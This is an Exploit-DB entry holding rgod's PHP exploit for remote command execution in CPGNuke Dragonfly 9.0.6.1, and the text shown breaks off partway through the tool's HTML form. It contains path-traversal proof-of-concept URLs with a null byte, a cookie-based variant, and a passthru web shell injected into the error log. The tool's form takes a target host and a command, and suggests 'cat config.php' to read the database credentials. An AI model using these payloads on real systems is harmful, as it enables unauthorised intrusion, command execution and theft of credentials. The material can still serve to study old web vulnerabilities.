Exploit-DB #1478
Description: CPGNuke Dragonfly 9.0.6.1 - Remote Command Execution
Type: webapps
Platform: php
Date: 2006-02-08
Author: rgod

Exploit:
<?php
#   ---dragonfly9.0.6.1_incl_xpl.php                     20.15 07/02/2006      #
#                                                                              #
#  CPGNuke Dragonfly 9.0.6.1 remote commands execution through arbitrary local #
#  inclusion - (Sun-Tzu Drangonfly killing) -                                  #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -> this works regardless of magic_quotes_gpc settings                       #
#                                                                              #
#  Sun-Tzu: "Thus it may be known that the leader of armies is the arbiter of  #
#  the people's fate, the man on whom it depends whether the nation shall be   #
#  in peace or in peril."

/*
  a short explaination:
  install.php is not deleted after dragonfly installation, you cannot use it
  to modify settings but we have a local inclusion bug in it at lines 33-49:

    ...
    if (isset($_GET['newlang'])) {
          setcookie('installlang',$_GET['newlang']);
	   $currentlang = $_GET['newlang'];
    } elseif (isset($_COOKIE['installlang'])) {
          $currentlang = $_COOKIE['installlang'];
    }
    $instlang = array();
    if (file_exists("install/language/$currentlang.php")) {
          require("install/language/$currentlang.php");
    } else {
  	   require('install/language/english.php');
    }
    if (file_exists("language/$currentlang/main.php")) {
          require("language/$currentlang/main.php");
    } else {
          require('language/english/main.php');
    }
    ...

 poc:
 http://[target]/[path]/install.php?newlang=../../cpg_error.log%00

 we are using backslashes and a null char, but this works with magic_quotes_gpc
 both on and off because of dragonfly magic quotes disable code...

 also you can do that through cookies...

 GET /[PATH]/install.php HTTP/1.1
 Cookie: installlang=../../cpg_error.log%00;
 Host: [target]
 Connection: Close

 There are two ways to inject arbitrary code in dragonfly resources:

 i) in cpg_error.log, poc:

 http://[target]/[path]/error.php?<?passthru($_GET[cmd]);?>
 http://[target]/[path]/install.php?cmd=ls%20-la&newlang=../../cpg_error.log%00

 this works with $error_log = true in error.php (not the default)
 some problems with spaces, converted as %20 so this way works with
 allow_short_open_tag = On in php.ini

 ii) uploading a malicious .png file in modules/coppermine/albums/userpics/
 dir. We will search for a php[some hex values].tmp file, you have to supply
 valid credentials with upload rights to do that...by default, any user can
 upload

 however you can try manually including some database file or Apache log... use
 your imagination
                                                                              */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);
ignore_user_abort(0);

echo'<html><head><title>**CPGNuke Dragonfly 9.0.6.1 remote commands execution***
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
***CPGNuke Dragonfly 9.0.6.1 remote commands execution***</p><p class="Stile6">a
script  by  rgod  at    <a href="http://retrogod.altervista.org"target="_blank">
http://retrogod.altervista.org</a></p><table width="84%"><tr><td    width="43%">
<form name="form1" method="post"   action="'.$_SERVER[PHP_SELF].'">    <p><input
type="text"  name="host"> <span class="Stile5">* target    (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/cpgnuke/ or just / ) </span></p><p><input type="text" name="CMD">         <span
class="Stile5"> * specify a command ("cat config.php" to see database username &
password...)</span></p><p><input type="text" name="ULOGIN"><span class="Stile5">
a valid USER with upload rights for Coppermine (by default any...)   </span></p>
<p><input type="text" name="USER_PASSWORD"><span class="Stile5"> ... and PASSWOR
D, required for STEP 3 and following... </span>  </p>  <p>  <input   type="text"
name="port"><span class="Stile5">specify  a  port other than  80 (default value)
</span></p><p><input type="text" name="pRoXy"><span class="Stile5">send  exploit
through an HTTP proxy (ip:port)</span></p><p> <input type